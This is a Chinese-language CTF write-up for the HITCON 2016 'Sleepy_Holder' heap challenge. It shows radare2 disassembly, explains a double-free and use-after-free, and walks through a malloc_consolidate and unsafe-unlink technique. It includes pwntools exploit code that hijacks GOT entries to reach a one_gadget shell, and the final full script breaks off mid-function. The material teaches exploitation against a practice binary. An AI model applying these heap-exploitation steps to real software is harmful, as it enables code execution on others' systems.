mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
630 lines
29 KiB
Markdown
630 lines
29 KiB
Markdown
# 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
|
||
|
||
- [题目复现](#题目复现)
|
||
- [题目解析](#题目解析)
|
||
- [漏洞利用](#漏洞利用)
|
||
- [参考资料](#参考资料)
|
||
|
||
[下载文件](../src/writeup/6.1.22_pwn_hitconctf2016_sleepy_holder)
|
||
|
||
## 题目复现
|
||
|
||
```text
|
||
$ file SleepyHolder
|
||
SleepyHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46f0e70abd9460828444d7f0975a8b2f2ddbad46, stripped
|
||
$ checksec -f SleepyHolder
|
||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 SleepyHolder
|
||
$ strings libc-2.23.so | grep "GNU C"
|
||
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
|
||
Compiled by GNU CC version 5.3.1 20160413.
|
||
```
|
||
|
||
64 位程序,开启了 Canary 和 NX,默认开启 ASLR。
|
||
|
||
在 Ubuntu-16.04 上玩一下:
|
||
|
||
```text
|
||
$ ./SleepyHolder
|
||
Waking Sleepy Holder up ...
|
||
Hey! Do you have any secret?
|
||
I can help you to hold your secrets, and no one will be able to see it :)
|
||
1. Keep secret
|
||
2. Wipe secret
|
||
3. Renew secret
|
||
1
|
||
What secret do you want to keep?
|
||
1. Small secret
|
||
2. Big secret
|
||
3. Keep a huge secret and lock it forever
|
||
1
|
||
Tell me your secret:
|
||
AAAA
|
||
1. Keep secret
|
||
2. Wipe secret
|
||
3. Renew secret
|
||
1
|
||
What secret do you want to keep?
|
||
1. Small secret
|
||
2. Big secret
|
||
3. Keep a huge secret and lock it forever
|
||
3
|
||
Tell me your secret:
|
||
CCCC
|
||
1. Keep secret
|
||
2. Wipe secret
|
||
3. Renew secret
|
||
3
|
||
Which Secret do you want to renew?
|
||
1. Small secret
|
||
2. Big secret
|
||
1
|
||
Tell me your secret:
|
||
BBBB
|
||
1. Keep secret
|
||
2. Wipe secret
|
||
3. Renew secret
|
||
2
|
||
Which Secret do you want to wipe?
|
||
1. Small secret
|
||
2. Big secret
|
||
1
|
||
```
|
||
|
||
这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。
|
||
|
||
## 题目解析
|
||
|
||
下面我们逐个来逆向这些功能。
|
||
|
||
### Keep secret
|
||
|
||
```text
|
||
[0x00400850]> pdf @ sub.What_secret_do_you_want_to_keep_93d
|
||
/ (fcn) sub.What_secret_do_you_want_to_keep_93d 452
|
||
| sub.What_secret_do_you_want_to_keep_93d ();
|
||
| ; var int local_14h @ rbp-0x14
|
||
| ; var int local_10h @ rbp-0x10
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x00400e3c (main)
|
||
| 0x0040093d push rbp
|
||
| 0x0040093e mov rbp, rsp
|
||
| 0x00400941 sub rsp, 0x20
|
||
| 0x00400945 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x0040094e mov qword [local_8h], rax
|
||
| 0x00400952 xor eax, eax
|
||
| 0x00400954 mov edi, str.What_secret_do_you_want_to_keep ; 0x400ee8 ; "What secret do you want to keep?"
|
||
| 0x00400959 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x0040095e mov edi, str.1._Small_secret ; 0x400f09 ; "1. Small secret"
|
||
| 0x00400963 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400968 mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret"
|
||
| 0x0040096d call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400972 mov eax, dword [0x006020dc] ; huge_flag,表示 huge secret 是否已存在
|
||
| 0x00400978 test eax, eax
|
||
| ,=< 0x0040097a jne 0x400986 ; huge_flag 为 1 时跳转
|
||
| | 0x0040097c mov edi, str.3._Keep_a_huge_secret_and_lock_it_forever ; 0x400f28 ; "3. Keep a huge secret and lock it forever"
|
||
| | 0x00400981 call sym.imp.puts ; 否则打印出来
|
||
| | ; JMP XREF from 0x0040097a (sub.What_secret_do_you_want_to_keep_93d)
|
||
| `-> 0x00400986 lea rax, [local_10h]
|
||
| 0x0040098a mov edx, 4
|
||
| 0x0040098f mov esi, 0
|
||
| 0x00400994 mov rdi, rax
|
||
| 0x00400997 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
|
||
| 0x0040099c lea rax, [local_10h]
|
||
| 0x004009a0 mov edx, 4
|
||
| 0x004009a5 mov rsi, rax
|
||
| 0x004009a8 mov edi, 0
|
||
| 0x004009ad mov eax, 0
|
||
| 0x004009b2 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||
| 0x004009b7 lea rax, [local_10h]
|
||
| 0x004009bb mov rdi, rax
|
||
| 0x004009be call sym.imp.atoi ; int atoi(const char *str)
|
||
| 0x004009c3 mov dword [local_14h], eax
|
||
| 0x004009c6 mov eax, dword [local_14h]
|
||
| 0x004009c9 cmp eax, 2 ; 2
|
||
| ,=< 0x004009cc je 0x400a3d ; big secret
|
||
| | 0x004009ce cmp eax, 3 ; 3
|
||
| ,==< 0x004009d1 je 0x400a96 ; huge secret
|
||
| || 0x004009d7 cmp eax, 1 ; 1
|
||
| ,===< 0x004009da je 0x4009e1 ; small secret
|
||
| ,====< 0x004009dc jmp 0x400aeb
|
||
| |||| ; JMP XREF from 0x004009da (sub.What_secret_do_you_want_to_keep_93d)
|
||
| |`---> 0x004009e1 mov eax, dword [0x006020e0] ; small_flag,表示 small secret 是否已存在
|
||
| | || 0x004009e7 test eax, eax
|
||
| |,===< 0x004009e9 je 0x4009f0 ; small_flag 为 0 时
|
||
| ,=====< 0x004009eb jmp 0x400aeb
|
||
| ||||| ; JMP XREF from 0x004009e9 (sub.What_secret_do_you_want_to_keep_93d)
|
||
| ||`---> 0x004009f0 mov esi, 0x28 ; '(' ; 40
|
||
| || || 0x004009f5 mov edi, 1
|
||
| || || 0x004009fa call sym.imp.calloc ; calloc(1, 0x28) 为 small secret 分配空间
|
||
| || || 0x004009ff mov qword [0x006020d0], rax ; 把地址放到 [0x006020d0]
|
||
| || || 0x00400a06 mov dword [0x006020e0], 1 ; 设置 small_flag 为 1
|
||
| || || 0x00400a10 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
|
||
| || || 0x00400a15 call sym.imp.puts ; int puts(const char *s)
|
||
| || || 0x00400a1a mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
|
||
| || || 0x00400a21 mov edx, 0x28 ; '(' ; 40
|
||
| || || 0x00400a26 mov rsi, rax
|
||
| || || 0x00400a29 mov edi, 0
|
||
| || || 0x00400a2e mov eax, 0
|
||
| || || 0x00400a33 call sym.imp.read ; read(0, [0x006020d0], 0x28) 读入 small secret
|
||
| ||,===< 0x00400a38 jmp 0x400aeb
|
||
| ||||| ; JMP XREF from 0x004009cc (sub.What_secret_do_you_want_to_keep_93d)
|
||
| ||||`-> 0x00400a3d mov eax, dword [0x006020d8] ; big_flag,表示 big secret 是否已存在
|
||
| |||| 0x00400a43 test eax, eax
|
||
| ||||,=< 0x00400a45 je 0x400a4c ; big_flag 为 0 时
|
||
| ,======< 0x00400a47 jmp 0x400aeb
|
||
| |||||| ; JMP XREF from 0x00400a45 (sub.What_secret_do_you_want_to_keep_93d)
|
||
| |||||`-> 0x00400a4c mov esi, 0xfa0 ; 4000
|
||
| ||||| 0x00400a51 mov edi, 1
|
||
| ||||| 0x00400a56 call sym.imp.calloc ; calloc(1, 0xfa0) 为 big secret 分配空间
|
||
| ||||| 0x00400a5b mov qword [0x006020c0], rax ; 把地址放到 [0x006020c0]
|
||
| ||||| 0x00400a62 mov dword [0x006020d8], 1 ; 设置 big_flag 为 1
|
||
| ||||| 0x00400a6c mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
|
||
| ||||| 0x00400a71 call sym.imp.puts ; int puts(const char *s)
|
||
| ||||| 0x00400a76 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
|
||
| ||||| 0x00400a7d mov edx, 0xfa0 ; 4000
|
||
| ||||| 0x00400a82 mov rsi, rax
|
||
| ||||| 0x00400a85 mov edi, 0
|
||
| ||||| 0x00400a8a mov eax, 0
|
||
| ||||| 0x00400a8f call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 读入 big secret
|
||
| |||||,=< 0x00400a94 jmp 0x400aeb
|
||
| |||||| ; JMP XREF from 0x004009d1 (sub.What_secret_do_you_want_to_keep_93d)
|
||
| ||||`--> 0x00400a96 mov eax, dword [0x006020dc] ; huge_flag,表示 huge secret 是否已存在
|
||
| |||| | 0x00400a9c test eax, eax
|
||
| ||||,==< 0x00400a9e je 0x400aa2 ; huge_flag 为 0 时
|
||
| ,=======< 0x00400aa0 jmp 0x400aeb
|
||
| ||||||| ; JMP XREF from 0x00400a9e (sub.What_secret_do_you_want_to_keep_93d)
|
||
| |||||`--> 0x00400aa2 mov esi, 0x61a80
|
||
| ||||| | 0x00400aa7 mov edi, 1
|
||
| ||||| | 0x00400aac call sym.imp.calloc ; calloc(1, 0x61a80) 为 huge secret 分配空间
|
||
| ||||| | 0x00400ab1 mov qword [0x006020c8], rax ; 把地址放到 [0x006020c8]
|
||
| ||||| | 0x00400ab8 mov dword [0x006020dc], 1 ; 设置 huge_flag 为 1
|
||
| ||||| | 0x00400ac2 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
|
||
| ||||| | 0x00400ac7 call sym.imp.puts ; int puts(const char *s)
|
||
| ||||| | 0x00400acc mov rax, qword [0x006020c8] ; [0x6020c8:8]=0
|
||
| ||||| | 0x00400ad3 mov edx, 0x61a80
|
||
| ||||| | 0x00400ad8 mov rsi, rax
|
||
| ||||| | 0x00400adb mov edi, 0
|
||
| ||||| | 0x00400ae0 mov eax, 0
|
||
| ||||| | 0x00400ae5 call sym.imp.read ; read(0, [0x006020c8], 0x61a80) 读入 huge secret
|
||
| ||||| | 0x00400aea nop
|
||
| ||||| | ; XREFS: JMP 0x004009dc JMP 0x004009eb JMP 0x00400a38 JMP 0x00400a47 JMP 0x00400a94 JMP 0x00400aa0
|
||
| `````-`-> 0x00400aeb mov rax, qword [local_8h]
|
||
| 0x00400aef xor rax, qword fs:[0x28]
|
||
| ,=< 0x00400af8 je 0x400aff
|
||
| | 0x00400afa call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00400af8 (sub.What_secret_do_you_want_to_keep_93d)
|
||
| `-> 0x00400aff leave
|
||
\ 0x00400b00 ret
|
||
```
|
||
|
||
还是一样的,该函数使用 `calloc()` 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个。另外看函数开头部分,huge secret 显然受到了特殊处理。
|
||
|
||
- small secret: small chunk, 40 bytes
|
||
- small_ptr: 0x006020d0
|
||
- small_flag: 0x006020e0
|
||
- big secret: large chunk, 4000 bytes
|
||
- big_ptr: 0x006020c0
|
||
- big_flag: 0x006020d8
|
||
- huge secret: large chunk, 400000 bytes
|
||
- huge_ptr: 0x006020c8
|
||
- huge_flag: 0x006020dc
|
||
|
||
### Wipe secret
|
||
|
||
```text
|
||
[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_wipe_b01
|
||
/ (fcn) sub.Which_Secret_do_you_want_to_wipe_b01 207
|
||
| sub.Which_Secret_do_you_want_to_wipe_b01 ();
|
||
| ; var int local_14h @ rbp-0x14
|
||
| ; var int local_10h @ rbp-0x10
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x00400e48 (main)
|
||
| 0x00400b01 push rbp
|
||
| 0x00400b02 mov rbp, rsp
|
||
| 0x00400b05 sub rsp, 0x20
|
||
| 0x00400b09 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x00400b12 mov qword [local_8h], rax
|
||
| 0x00400b16 xor eax, eax
|
||
| 0x00400b18 mov edi, str.Which_Secret_do_you_want_to_wipe ; 0x400f68 ; "Which Secret do you want to wipe?"
|
||
| 0x00400b1d call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400b22 mov edi, str.1._Small_secret ; 0x400f09 ; "1. Small secret"
|
||
| 0x00400b27 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400b2c mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret"
|
||
| 0x00400b31 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400b36 lea rax, [local_10h]
|
||
| 0x00400b3a mov edx, 4
|
||
| 0x00400b3f mov esi, 0
|
||
| 0x00400b44 mov rdi, rax
|
||
| 0x00400b47 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
|
||
| 0x00400b4c lea rax, [local_10h]
|
||
| 0x00400b50 mov edx, 4
|
||
| 0x00400b55 mov rsi, rax
|
||
| 0x00400b58 mov edi, 0
|
||
| 0x00400b5d mov eax, 0
|
||
| 0x00400b62 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||
| 0x00400b67 lea rax, [local_10h]
|
||
| 0x00400b6b mov rdi, rax
|
||
| 0x00400b6e call sym.imp.atoi ; int atoi(const char *str)
|
||
| 0x00400b73 mov dword [local_14h], eax
|
||
| 0x00400b76 mov eax, dword [local_14h]
|
||
| 0x00400b79 cmp eax, 1 ; 1
|
||
| ,=< 0x00400b7c je 0x400b85 ; small secret
|
||
| | 0x00400b7e cmp eax, 2 ; 2
|
||
| ,==< 0x00400b81 je 0x400ba0 ; big secret
|
||
| ,===< 0x00400b83 jmp 0x400bba
|
||
| ||| ; JMP XREF from 0x00400b7c (sub.Which_Secret_do_you_want_to_wipe_b01)
|
||
| ||`-> 0x00400b85 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
|
||
| || 0x00400b8c mov rdi, rax
|
||
| || 0x00400b8f call sym.imp.free ; free([0x006020d0]) 释放 small secret
|
||
| || 0x00400b94 mov dword [0x006020e0], 0 ; 设置 small_flag 为 0
|
||
| ||,=< 0x00400b9e jmp 0x400bba
|
||
| ||| ; JMP XREF from 0x00400b81 (sub.Which_Secret_do_you_want_to_wipe_b01)
|
||
| |`--> 0x00400ba0 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
|
||
| | | 0x00400ba7 mov rdi, rax
|
||
| | | 0x00400baa call sym.imp.free ; free([0x006020c0]) 释放 big secret
|
||
| | | 0x00400baf mov dword [0x006020d8], 0 ; 设置 big_flag 为 0
|
||
| | | 0x00400bb9 nop
|
||
| | | ; JMP XREF from 0x00400b83 (sub.Which_Secret_do_you_want_to_wipe_b01)
|
||
| | | ; JMP XREF from 0x00400b9e (sub.Which_Secret_do_you_want_to_wipe_b01)
|
||
| `-`-> 0x00400bba mov rax, qword [local_8h]
|
||
| 0x00400bbe xor rax, qword fs:[0x28]
|
||
| ,=< 0x00400bc7 je 0x400bce
|
||
| | 0x00400bc9 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00400bc7 (sub.Which_Secret_do_you_want_to_wipe_b01)
|
||
| `-> 0x00400bce leave
|
||
\ 0x00400bcf ret
|
||
```
|
||
|
||
该函数只能释放 small secret 和 big secret。释放的过程首先将对应的 chunk 释放掉,然后设置对应 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。
|
||
|
||
### Renew secret
|
||
|
||
```text
|
||
[0x00400850]> pdf @ sub.Which_Secret_do_you_want_to_renew_bd0
|
||
/ (fcn) sub.Which_Secret_do_you_want_to_renew_bd0 259
|
||
| sub.Which_Secret_do_you_want_to_renew_bd0 ();
|
||
| ; var int local_14h @ rbp-0x14
|
||
| ; var int local_10h @ rbp-0x10
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x00400e54 (main)
|
||
| 0x00400bd0 push rbp
|
||
| 0x00400bd1 mov rbp, rsp
|
||
| 0x00400bd4 sub rsp, 0x20
|
||
| 0x00400bd8 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x00400be1 mov qword [local_8h], rax
|
||
| 0x00400be5 xor eax, eax
|
||
| 0x00400be7 mov edi, str.Which_Secret_do_you_want_to_renew ; 0x400f90 ; "Which Secret do you want to renew?"
|
||
| 0x00400bec call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400bf1 mov edi, str.1._Small_secret ; 0x400f09 ; "1. Small secret"
|
||
| 0x00400bf6 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400bfb mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret"
|
||
| 0x00400c00 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400c05 lea rax, [local_10h]
|
||
| 0x00400c09 mov edx, 4
|
||
| 0x00400c0e mov esi, 0
|
||
| 0x00400c13 mov rdi, rax
|
||
| 0x00400c16 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
|
||
| 0x00400c1b lea rax, [local_10h]
|
||
| 0x00400c1f mov edx, 4
|
||
| 0x00400c24 mov rsi, rax
|
||
| 0x00400c27 mov edi, 0
|
||
| 0x00400c2c mov eax, 0
|
||
| 0x00400c31 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||
| 0x00400c36 lea rax, [local_10h]
|
||
| 0x00400c3a mov rdi, rax
|
||
| 0x00400c3d call sym.imp.atoi ; int atoi(const char *str)
|
||
| 0x00400c42 mov dword [local_14h], eax
|
||
| 0x00400c45 mov eax, dword [local_14h]
|
||
| 0x00400c48 cmp eax, 1 ; 1
|
||
| ,=< 0x00400c4b je 0x400c54 ; small secret
|
||
| | 0x00400c4d cmp eax, 2 ; 2
|
||
| ,==< 0x00400c50 je 0x400c8a ; big secret
|
||
| ,===< 0x00400c52 jmp 0x400cbd
|
||
| ||| ; JMP XREF from 0x00400c4b (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| ||`-> 0x00400c54 mov eax, dword [0x006020e0] ; [0x6020e0:4]=0
|
||
| || 0x00400c5a test eax, eax
|
||
| ||,=< 0x00400c5c je 0x400c88 ; small_flag 为 0 时,函数返回
|
||
| ||| 0x00400c5e mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
|
||
| ||| 0x00400c63 call sym.imp.puts ; int puts(const char *s)
|
||
| ||| 0x00400c68 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
|
||
| ||| 0x00400c6f mov edx, 0x28 ; '(' ; 40
|
||
| ||| 0x00400c74 mov rsi, rax
|
||
| ||| 0x00400c77 mov edi, 0
|
||
| ||| 0x00400c7c mov eax, 0
|
||
| ||| 0x00400c81 call sym.imp.read ; read(0, [0x006020d0], 0x28) 否则读入 small secret
|
||
| ,====< 0x00400c86 jmp 0x400cbd
|
||
| |||| ; JMP XREF from 0x00400c5c (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| ,===`-> 0x00400c88 jmp 0x400cbd
|
||
| |||| ; JMP XREF from 0x00400c50 (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| |||`--> 0x00400c8a mov eax, dword [0x006020d8] ; [0x6020d8:4]=0
|
||
| ||| 0x00400c90 test eax, eax
|
||
| ||| ,=< 0x00400c92 je 0x400cbc ; big_flag 为 0 时,函数返回
|
||
| ||| | 0x00400c94 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
|
||
| ||| | 0x00400c99 call sym.imp.puts ; int puts(const char *s)
|
||
| ||| | 0x00400c9e mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
|
||
| ||| | 0x00400ca5 mov edx, 0xfa0 ; 4000
|
||
| ||| | 0x00400caa mov rsi, rax
|
||
| ||| | 0x00400cad mov edi, 0
|
||
| ||| | 0x00400cb2 mov eax, 0
|
||
| ||| | 0x00400cb7 call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 否则读入 big secret
|
||
| ||| | ; JMP XREF from 0x00400c92 (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| ||| `-> 0x00400cbc nop
|
||
| ||| ; JMP XREF from 0x00400c52 (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| ||| ; JMP XREF from 0x00400c86 (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| ||| ; JMP XREF from 0x00400c88 (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| ```---> 0x00400cbd mov rax, qword [local_8h]
|
||
| 0x00400cc1 xor rax, qword fs:[0x28]
|
||
| ,=< 0x00400cca je 0x400cd1
|
||
| | 0x00400ccc call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00400cca (sub.Which_Secret_do_you_want_to_renew_bd0)
|
||
| `-> 0x00400cd1 leave
|
||
\ 0x00400cd2 ret
|
||
```
|
||
|
||
该函数只能对 small secret 和 big secret 进行修改,所以 huge secret 就是一次分配,永远存在且内容不可修改了。过程是首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。
|
||
|
||
## 漏洞利用
|
||
|
||
总结一下我们知道的东西:
|
||
|
||
- small secret: small chunk, 40 bytes
|
||
- small_ptr: 0x006020d0
|
||
- small_flag: 0x006020e0
|
||
- big secret: large chunk, 4000 bytes
|
||
- big_ptr: 0x006020c0
|
||
- big_flag: 0x006020d8
|
||
- huge secret: large chunk, 400000 bytes
|
||
- huge_ptr: 0x006020c8
|
||
- huge_flag: 0x006020dc
|
||
|
||
漏洞:
|
||
|
||
- double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk
|
||
- use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用
|
||
|
||
看到这里该题与上一题的差别很明显了,就是我们没有办法再通过 `keep(huge) -> wipe(huge) -> keep(huge)` 来利用 `brk()` 分配内存,制造 unsafe unlink。
|
||
|
||
然后我们又在 `_int_malloc()` 中发现了另一个东西:
|
||
|
||
```c
|
||
static void*
|
||
_int_malloc(mstate av, size_t bytes)
|
||
{
|
||
/*
|
||
If this is a large request, consolidate fastbins before continuing.
|
||
While it might look excessive to kill all fastbins before
|
||
even seeing if there is space available, this avoids
|
||
fragmentation problems normally associated with fastbins.
|
||
Also, in practice, programs tend to have runs of either small or
|
||
large requests, but less often mixtures, so consolidation is not
|
||
invoked all that often in most programs. And the programs that
|
||
it is called frequently in otherwise tend to fragment.
|
||
*/
|
||
|
||
else {
|
||
idx = largebin_index(nb);
|
||
if (have_fastchunks(av))
|
||
malloc_consolidate(av);
|
||
}
|
||
```
|
||
|
||
当需求 chunk 是一个 large chunk 时,glibc 会将把 fastbins 中的 chunk 移除,设置 `PREV_INUSE` 为 0,合并 free chunk,然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk,由于大小不合适,这些 chunk 又被放到 small bin 中:
|
||
|
||
```c
|
||
/* place chunk in bin */
|
||
|
||
if (in_smallbin_range (size))
|
||
{
|
||
victim_index = smallbin_index (size);
|
||
bck = bin_at (av, victim_index);
|
||
fwd = bck->fd;
|
||
}
|
||
```
|
||
|
||
这时就可以再次释放 small secret 而不触发 double-free 的检测。
|
||
|
||
那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk(即big secret)的 chunk header(设置prev_size,`PREV_INUSE`置0),而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins(这时small secret同时存在于fastbins和small bin中),再从 fastbins 中取出 small secret,原因和上面类似,从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。
|
||
|
||
### unsafe unlink
|
||
|
||
```python
|
||
def unlink():
|
||
keep(1, "AAAA") # small
|
||
keep(2, "AAAA") # big
|
||
wipe(1) # put small into fastbins
|
||
keep(3, "AAAA") # huge # put small into small bin
|
||
wipe(1) # double free # put small into fastbins
|
||
|
||
payload = p64(0) + p64(0x21) # fake header
|
||
payload += p64(small_ptr - 0x18) # fake fd
|
||
payload += p64(small_ptr - 0x10) # fake bk
|
||
payload += p64(0x20) # fake prev_size
|
||
keep(1, payload)
|
||
|
||
wipe(2) # unsafe unlink
|
||
```
|
||
|
||
制造 double-free:
|
||
|
||
```text
|
||
gdb-peda$ x/5gx 0x006020c0
|
||
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
|
||
0x6020d0: 0x0000000000603530 0x0000000100000001
|
||
0x6020e0: 0x0000000000000000
|
||
gdb-peda$ x/10gx 0x00603530-0x10
|
||
0x603520: 0x0000000000000000 0x0000000000000031 <-- small
|
||
0x603530: 0x0000000000000000 0x00007ffff7dd1b98
|
||
0x603540: 0x0000000000000000 0x0000000000000000
|
||
0x603550: 0x0000000000000030 0x0000000000000fb0 <-- big <-- PREV_INUSE
|
||
0x603560: 0x0000000041414141 0x0000000000000000
|
||
```
|
||
|
||
上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE,另一方面通过 double-free 将 small secret 放进 fastbins。
|
||
|
||
在 small secret 中布置上一个 fake chunk:
|
||
|
||
```text
|
||
gdb-peda$ x/5gx 0x006020c0
|
||
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
|
||
0x6020d0: 0x0000000000603530 0x0000000100000001
|
||
0x6020e0: 0x0000000000000001
|
||
gdb-peda$ x/10gx 0x00603530-0x10
|
||
0x603520: 0x0000000000000000 0x0000000000000031
|
||
0x603530: 0x0000000000000000 0x0000000000000021 <-- fake chunk
|
||
0x603540: 0x00000000006020b8 0x00000000006020c0 <-- fd, bk pointer
|
||
0x603550: 0x0000000000000020 0x0000000000000fb0 <-- big <-- fake prev_size
|
||
0x603560: 0x0000000041414141 0x0000000000000000
|
||
gdb-peda$ x/gx 0x006020b8 + 0x18
|
||
0x6020d0: 0x0000000000603530 <-- P->fd->bk = P
|
||
gdb-peda$ x/gx 0x006020c0 + 0x10
|
||
0x6020d0: 0x0000000000603530 <-- P->bk->fd = P
|
||
```
|
||
|
||
释放 big secret 即可触发 unsafe unlink:
|
||
|
||
```text
|
||
gdb-peda$ x/6gx 0x006020b8
|
||
0x6020b8: 0x0000000000000000 0x0000000000603560
|
||
0x6020c8: 0x00007ffff7f92010 0x00000000006020b8 <-- fake chunk ptr
|
||
0x6020d8: 0x0000000100000000 0x0000000000000001
|
||
```
|
||
|
||
于是我们就获得了修改 `.bss` 段的能力。
|
||
|
||
后面的过程就和上一题完全一样了。
|
||
|
||
### leak libc
|
||
|
||
```python
|
||
def leak():
|
||
global one_gadget
|
||
|
||
payload = "A" * 8
|
||
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||
payload += "A" * 8
|
||
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||
payload += p32(1) # big_flag
|
||
renew(1, payload)
|
||
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||
|
||
wipe(2)
|
||
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||
libc_base = puts_addr - libc.symbols['puts']
|
||
one_gadget = libc_base + 0x4525a
|
||
|
||
log.info("libc base: 0x%x" % libc_base)
|
||
log.info("one_gadget address: 0x%x" % one_gadget)
|
||
```
|
||
|
||
### pwn
|
||
|
||
```python
|
||
def pwn():
|
||
payload = "A" * 0x10
|
||
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||
renew(1, payload)
|
||
|
||
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||
io.interactive()
|
||
```
|
||
|
||
开启 ASLR,Bingo!!!
|
||
|
||
```text
|
||
$ python exp.py
|
||
[+] Starting local process './SleepyHolder': pid 8352
|
||
[*] libc base: 0x7ffbcd987000
|
||
[*] one_gadget address: 0x7ffbcd9cc25a
|
||
[*] Switching to interactive mode
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
### exploit
|
||
|
||
完整的 exp 如下:
|
||
|
||
```python
|
||
#!/usr/bin/env python
|
||
|
||
from pwn import *
|
||
|
||
#context.log_level = 'debug'
|
||
|
||
io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc-2.23.so'})
|
||
elf = ELF('SleepyHolder')
|
||
libc = ELF('libc-2.23.so')
|
||
|
||
small_ptr = 0x006020d0
|
||
big_ptr = 0x006020c0
|
||
|
||
def keep(idx, content):
|
||
io.sendlineafter("Renew secret\n", '1')
|
||
io.sendlineafter("Big secret\n", str(idx))
|
||
io.sendafter("secret: \n", content)
|
||
|
||
def wipe(idx):
|
||
io.sendlineafter("Renew secret\n", '2')
|
||
io.sendlineafter("Big secret\n", str(idx))
|
||
|
||
def renew(idx, content):
|
||
io.sendlineafter("Renew secret\n", '3')
|
||
io.sendlineafter("Big secret\n", str(idx))
|
||
io.sendafter("secret: \n", content)
|
||
|
||
def unlink():
|
||
keep(1, "AAAA") # small
|
||
keep(2, "AAAA") # big
|
||
wipe(1) # put small into fastbins
|
||
keep(3, "AAAA") # huge # put small into small bin
|
||
wipe(1) # double free # put small into fastbins
|
||
|
||
payload = p64(0) + p64(0x21) # fake header
|
||
payload += p64(small_ptr - 0x18) # fake fd
|
||
